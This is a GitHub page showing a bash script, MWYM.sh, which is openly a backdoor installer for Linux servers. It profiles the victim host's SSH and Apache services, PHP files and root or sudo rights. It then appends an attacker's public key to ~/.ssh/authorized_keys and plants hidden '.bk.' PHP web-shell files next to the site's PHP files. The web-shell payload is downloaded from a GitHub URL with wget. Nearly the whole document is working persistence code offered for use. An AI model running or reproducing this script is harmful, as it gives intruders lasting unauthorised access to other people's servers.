-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMWYM.sh
executable file
·332 lines (278 loc) · 6.58 KB
/
MWYM.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/bin/bash
echo "###############################"
echo "#!!# █▀▄▀█ █░█░█ █▄█ █▀▄▀█ #!!#"
echo "#!!# █░▀░█ ▀▄▀▄▀ ░█░ █░▀░█ #!!#"
echo "###############################"
echo -e "[INFO] Welcom to MWYM !!!"
## ATTACKER INFO
rsapub="<PUT YOURR id_rsa.pub HERE>"
stealth=2
php_shell_exec="$(wget -qO- https://raw.githubusercontent.com/Retr0Kr0dy/MWYM/main/Collection/Dashboard_GARNET.html)"
## SCRIPT INFO
script_name="MWYM"
script_version="0.0.1"
## ARGS
OPT_ARCH=0
OPT_DEBUG=0
OPT_INSTALL=0
bad_arg="[ERROR] Bad usage !!!\n> \t./MWYM.sh <option>\n>\n> option:\n> \t--arch\t\t: Show architecture.\n> \t--debug\t\t: Show debug.\n> \t--install\t: Install backdoors."
if [ $# == 0 ]
then
echo -e "$bad_arg"
exit 1
fi
while test $# -gt 0
do
case "$1" in
--arch) OPT_ARCH=1
;;
--debug) OPT_DEBUG=1
;;
--install) OPT_INSTALL=1
;;
--*) echo -e "$bad_arg"; exit 1
;;
*) echo -e "$bad_arg"; exit 1
;;
esac
shift
done
## VICTIM INFO
os=$(uname -o)
kern_name=$(uname -v)
kern_ver=$(uname -r)
arch=$(uname -m)
Sssh=0
Sapache2=0
Sphp=0
# check sshd
typeset -A Sssh_port
typeset -i index=0
while read l
do
if [ "$(systemctl status sshd 2>/dev/null | grep running)" != "" ]
then
Sssh=1
fi
port=0
while read p
do
[ "$p" = "" ] && continue
port=1
Sssh_port[$p]="inactif"
done <<< $(sed -e "s/^[ ]*Port[ ]\+\([0-9]\+\)[ ]*$/\\1/p" -ed $l)
if [ $port = 0 ]
then
Sssh_port[22]="inactif"
fi
done <<< $(find / -name sshd_config 2>/dev/null)
for i in ${!Sssh_port[*]}
do
ss -tapn sport :$i 2>/dev/null | grep -q LISTEN && Sssh_port[$i]="actif"
done
# check apache2
# |-check ports
typeset -A Sapache2_port
typeset -i index=0
while read l
do
if [ "$(systemctl status apache2 2>/dev/null | grep running)" != "" ]
then
Sapache2=1
fi
port=0
while read p
do
[ "$p" = "" ] && continue
port=1
Sapache2_port[$p]="inactif"
done <<< $(sed -e "s/^\s\?[ ]*Listen[ ]\+\([0-9]\+\)[ ]*$/\\1/p" -ed $l)
if [ $port = 0 ]
then
Sapache2_port[80]="inactif"
Sapache2_port[443]="inactif"
fi
done <<< $(find /etc/apache2 -name *.conf 2>/dev/null)
for i in ${!Sapache2_port[*]}
do
ss -tapn sport :$i 2>/dev/null | grep -q LISTEN && Sapache2_port[$i]="actif"
done
## |-check vhosts
typeset -A Sapache2_vhost
typeset -i index=0
while read l
do
while read h
do
if ! [[ "$h" = "" ]]
then
if ! [ "${Sapache2_vhost[$h]}" = "actif" ]
then
if [ "$l" = "/etc/apache2/sites-enabled/"* ]
then
Sapache2_vhost["$h"]="actif"
else
Sapache2_vhost["$h"]="inactif"
fi
fi
fi
done <<< $(cat $l | grep DocumentRoot | awk '{print$2}')
done <<< $(find /etc/apache2 -name *.conf 2>/dev/null)
# check php
if [ "$(php --version 2>/dev/null)" != "" ]
then
Sphp=1
else
Sphp=0
fi
# |-check php files
## |-check vhosts
typeset -A Sphp_files
typeset -i index=0
for i in ${!Sapache2_vhost[*]}
do
while read l
do
if [[ "$(basename $l 2>/dev/null)" != *".bk."* && "$l" != "" ]]
then
Sphp_files["$l"]="$i"
fi
done <<< $(find $i -name *.php 2>/dev/null)
done
# check if root
if [ $EUID -ne 0 ]
then
isroot="0"
else
isroot="1"
sudo_right=$(sudo -l|grep '(')
fi
## INSTAL SERVICES
install_service_ssh(){
if [[ $stealth -lt 1 && $isroot = 1 ]]
then
apt install openssh-server -y &> /dev/null
Sssh=1
echo -e "[INFO] Openssh-server successfully installed and setted up."
fi
}
install_service_apache2(){
if [[ $stealth -lt 1 && $isroot = 1 ]]
then
apt install apache2 -y &> /dev/null
Sapache2=1
echo -e "[INFO] Apache2 successfully installed and setted up."
fi
}
install_service_php(){
if [[ $stealth -lt 1 && $isroot = 1 ]]
then
apt install php -y &> /dev/null
Sphp=1
echo -e "[INFO] Php successfully installed and setted up."
fi
}
## DEFINE BACKDOORS
MAGMAR(){
if [ $Sssh == 1 ]
then
if [ $stealth -lt 2 ]
then
mkdir -p ~/.ssh/
if [ $OPT_DEBUG == 1 ]
then
echo -e "[MAGMAR][DEBUG] DIR ~/.ssh created."
fi
fi
if [ "$(((echo $rsapub >> ~/.ssh/authorized_keys && echo 0) 2>/dev/null)|| echo 1)" = "0" ]
then
backdoor_count=$((backdoor_count + 1))
if [ $OPT_DEBUG == 1 ]
then
echo -e "[MAGMAR][DEBUG] rsapub:\n$rsapub"
echo -e "[MAGMAR][DEBUG] Successfully written on ~/.ssh/authorized_keys"
fi
echo -e "[MAGMAR] Success !!!"
fi
elif [ $stealth -lt 1 ]
then
install_service_ssh
MAGMAR
fi
}
ARBOK(){
if [ $Sphp == 1 ]
then
if [ $stealth -lt 3 ]
then
for i in ${!Sphp_files[*]}
do
echo "$php_shell_exec" > ${Sphp_files["$i"]}/.bk.$(basename $i)
if [ $OPT_DEBUG == 1 ]
then
echo -e "[ARBOK][DEBUG] shell_exec file created at {${Sphp_files["$i"]}/.bk.$(basename $i)}."
fi
done
backdoor_count=$((backdoor_count + 1))
echo -e "[ARBOK] Success !!!"
fi
elif [ $stealth -lt 1 ]
then
install_service_apache2
install_service_php
ARBOK
fi
}
if [ $OPT_ARCH == 1 ]
then
echo -e "[ARCH] ********ARCH*IS********"
echo -e ">\n>\tos:\t\t$os\n>\tkern_name:\t$kern_name\n>\tkern_name:\t$kern_ver\n>\tarch:\t\t$arch\n>"
fi
if [ $OPT_DEBUG == 1 ]
then
echo -e "[DEBUG] ********Servies********"
echo -e "[DEBUG] Service:"
echo -e ">"
echo -e "> SSH:\t\t$Sssh"
echo -e ">\tport:"
for i in ${!Sssh_port[*]}
do
echo -e ">\t\t[$i]:\t\t\t${Sssh_port[$i]}"
done
echo -e ">"
echo -e "> Apache2:\t$Sapache2"
echo -e ">\tport:"
for i in ${!Sapache2_port[*]}
do
echo -e ">\t\t[$i]:\t\t\t${Sapache2_port[$i]}"
done
echo -e ">\tvhost:"
for i in ${!Sapache2_vhost[*]}
do
echo -e ">\t\t[$i]:\t${Sapache2_vhost[$i]}"
done
echo -e ">"
echo -e "> PHP:\t\t$Sphp"
echo -e ">\tfiles:"
for i in ${!Sphp_files[*]}
do
echo -e ">\t\t[$i]:\t${Sphp_files[$i]}"
done
echo -e "[DEBUG] ******Privileges******"
echo -e "[DEBUG] isroot: $isroot"
echo -e "[DEBUG] sudo rights are:"
echo -e ">\t$sudo_right"
fi
echo -e "[INFO] Setted up successfully."
if [ $OPT_INSTALL == 1 ]
then
echo -e "[INFO] Starting: MAGMAR"
MAGMAR
echo -e ">\tTask ended successfully"
echo -e "[INFO] Starting: ARBOK"
ARBOK
echo -e ">\tTask ended successfully"
fi
echo -e "[INFO] Backdoor_count = $backdoor_count"
echo -e "[INFO] Exiting..."
exit